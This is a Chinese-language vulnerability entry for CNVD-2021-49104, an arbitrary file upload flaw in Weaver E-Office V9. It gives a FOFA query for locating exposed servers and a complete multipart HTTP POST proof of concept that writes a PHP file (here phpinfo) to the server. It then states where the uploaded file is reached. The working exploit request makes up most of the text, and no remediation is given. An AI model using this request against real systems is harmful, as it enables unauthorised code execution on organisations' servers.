（CNVD-2021-49104）泛微E-Office V9 任意文件上传漏洞

描述

泛微e-office是泛微旗下的一款标准协同移动办公平台。由于 e-office 未能正确处理上传模块中的用户输入，攻击者可以通过该漏洞构造恶意的上传数据包，最终实现任意代码执行。

fofa

app="泛微-EOffice"

POC

POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: XXX.xxx.XXX.xxx:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348
Content-Length: 194
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4

--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg

<?php phpinfo(1);?>

--e64bdf16c554bbc109cecef6451c26a4--

响应包为200，访问/images/logo/logo-eoffice.php文件

漏洞复习

1.直接使用POC进行测试

2.服务器返回200，尝试访问/images/logo/logo-eoffice.php，phpinfo文件写入成功

参考连接

https://blog.csdn.net/weixin_44309905/article/details/121588557